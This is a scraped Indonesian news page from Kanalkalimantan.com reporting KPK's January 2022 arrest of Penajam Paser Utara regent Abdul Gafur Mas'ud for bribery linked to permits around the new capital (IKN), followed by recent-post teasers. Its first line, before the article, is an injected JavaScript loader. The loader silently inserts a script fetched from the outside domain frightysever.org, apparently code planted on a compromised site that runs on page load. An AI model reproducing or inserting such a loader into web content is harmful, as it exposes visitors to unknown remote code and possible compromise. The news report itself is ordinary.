(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Suap dan Gratifikasi AGM Berkait Erat IKN Baru di PPU, ‘Jalan Mulus’ Pengusaha Kantongi Izin


KANALKALIMANTAN.COM – Praktik suap dan gratifikasi yang dilakukan Bupati Penajam Paser Utara (PPU) Abdul Gafur Mas’ud (AGM) disebut berkaitan erat dengan pembangunan Ibu Kota Negara (IKN) baru di daerah dengan luas 3.333 km² tersebut. Hal ini disampaikan oleh pengamat politik dari Universitas Al-Azhar Indonesia, Ujang Komarudin.

Pernyataan itu diperkuat dengan alasan bahwa praktik suap sangat rentan terjadi di setiap proses pembangunan. Apa lagi dengan mega proyek IKN ini.

Ia membeberkan, praktik suap itu sering terjadi dari segi lahan dalam proses pembanguan. Di mana, suap dilakukan oleh pengusaha yang ingin perizinannya dipermudah dan diberi ‘jalan mulus’ oleh orang-orang pemangku kepentingan.

“Disuap oleh pengusaha yang akan beli tanah dan lain-lain soal perizinannya. Bisa saja. Karena banyak permainan terkait soal itu,” katanya, dikutip dari Suara.com -jaringan Kanalkalimantan.com, Jumat (14/1/2022).

 

 

Baca juga: Proyek Unggas Itik Food Estate di Kecamatan Dadahup Banyak Mati, Diduga Kandang Tak Sesuai

Sebelumnya, Tim Satuan Tugas (Satgas) KPK menangkap AGM lantaran diduga terlibat kasus suap dan gratifikasi. Ternyata, AGM ditangkap oleh KPK saat berada di sebuah mall di kawasan Jakarta, Rabu (12/1/2022) lalu. AGM ditangkap bersama enam orang lainnya. Yakni, dari ASN Pemkab PPU dan pihak swasta.

“Sejauh ini informasi yang kami terima di sebuah Mall di Jakarta,” kata Plt Juru Bicara KPK Ali Fikri dikonfirmasi, Kamis (13/1/2022) kemarin.

Sedangkan, empat orang lain baru sampai di Jakarta hari tersebut, usai ditangkap di PPU. Mereka juga dari unsur ASN Pemkab PPU dan pihak swasta.

Sehingga total keseluruhan pihak – pihak yang ditangkap berjumlah 11 orang. Mereka kini tengah menjalani pemeriksaan intensif di Gedung Merah Putih KPK.

Baca juga: Debit Air di Pengaron Berangsur Turun, Astambul-Martapura Siaga Banjir

Menurutnya, penyidik masih fokus mendalami kegiatan tangkap tangan dari para tersangka terkait modus dan lainnya.

“Mengenai modus, motif dan latar belakang dugaan korupsi dalam kegiatan tangkap tangan tersebut tentu saat ini dalam proses pendalaman tim KPK,” tandasnya. (Suara.com)

Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.